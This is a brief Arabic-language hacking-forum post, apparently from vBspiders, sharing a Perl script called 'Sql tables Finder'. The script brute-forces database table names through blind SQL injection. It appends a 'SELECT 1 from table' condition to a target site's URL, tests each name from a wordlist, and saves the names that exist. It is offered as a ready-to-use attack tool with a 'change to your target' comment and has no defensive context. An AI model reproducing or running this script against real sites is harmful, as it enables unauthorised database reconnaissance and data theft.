:: vBspiders Professional Network ::

السلام عليكم ورحمة الله

لمحبي الحقن اليدوي

طريقة للتخمين على التايبلز

بالتوفيق

كود:

    use strict;

    use warnings;

    use LWP::UserAgent;

    use HTTP::Request::Common;

     

    system('cls');

print '

  ____       _____     _____  

 / __"| u   |_ " _|   |" ___| 

<\___ \/      | |    U| |_  u 

 u___) |     /| |\   \|  _|/  

 |____/>>   u |_|U    |_|     

  )(  (__)  _// \\_   )(\\,-  

 (__)      (__) (__) (__)(_/  

';

print "\n Sql tables Finder\n";

    

    print "List Of tables -> ";

    my $tables = <STDIN>;

    chomp($tables);

    open (TABLESFILE, "<$tables") || die "[-] Can't Found ($tables) !";

    my @tables = <TABLESFILE>;

    close TABLESFILE;

    system('clear');

    system('cls');

    print "Cracking Now !...\n";
 

        foreach my $table (@tables) {

        chomp $table;

                my $UserAgent = LWP::UserAgent->new;

                my $sql = "https://www.site.com/path/-id and (SELECT 1 from $table )=1"; #change to your targer

                my $request = HTTP::Request->new(GET => $sql);

                my $reponse = $UserAgent->request($request);

                #print $sql;

                if ($reponse->content =~m/SQL/) { #change to your specific string

                    print "Table doesn't exist => ($table)\n";

                }

                else{

                    print " Table exist => ($table)\n";

                    open(LNT,">>tables_exists.txt");

                    print LNT "$table\n";

                    close(LNT);}

    }